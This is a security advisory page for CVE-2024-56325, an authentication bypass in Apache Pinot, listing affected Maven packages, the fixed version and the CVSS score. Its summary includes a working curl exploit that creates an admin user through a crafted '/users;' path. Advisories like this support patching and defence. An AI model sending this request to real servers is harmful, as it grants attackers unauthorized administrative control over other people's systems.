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CVE-2024-56325 — Vulnerability in org.apache.pinot:pinot-broker —...

CRITICAL

Apache Pinot Vulnerable to Authentication Bypass

Published April 1, 2025Updated August 31, 2026Source: osv

Summary

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Advisory Timeline

  • First published April 1, 2025 (559 days ago).
  • Last revised August 31, 2026 — 518 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Maven
Update org.apache.pinot:pinot-broker to 1.3.0 or later
<!-- Update pom.xml dependency version to 1.3.0 for org.apache.pinot:pinot-broker -->
Maven
Update org.apache.pinot:pinot-controller to 1.3.0 or later
<!-- Update pom.xml dependency version to 1.3.0 for org.apache.pinot:pinot-controller -->
Maven
Update org.apache.pinot:pinot-common to 1.3.0 or later
<!-- Update pom.xml dependency version to 1.3.0 for org.apache.pinot:pinot-common -->

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (3)

Affects 1 ecosystem: maven (3).

PackageEcosystemAffectedFixed In
org.apache.pinot:pinot-broker
maven
0.10.0, 0.11.0, 0.12.0, 0.12.1 (+8 more)1.3.0
org.apache.pinot:pinot-controller
maven
0.10.0, 0.11.0, 0.12.0, 0.12.1 (+8 more)1.3.0
org.apache.pinot:pinot-common
maven
0.10.0, 0.11.0, 0.12.0, 0.12.1 (+8 more)1.3.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

Frequently Asked Questions

What is CVE-2024-56325?
Apache Pinot Vulnerable to Authentication Bypass This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2024-56325?
CVE-2024-56325 affects org.apache.pinot:pinot-broker, org.apache.pinot:pinot-controller and org.apache.pinot:pinot-common. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-56325 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-6jwp-4wvj-6597

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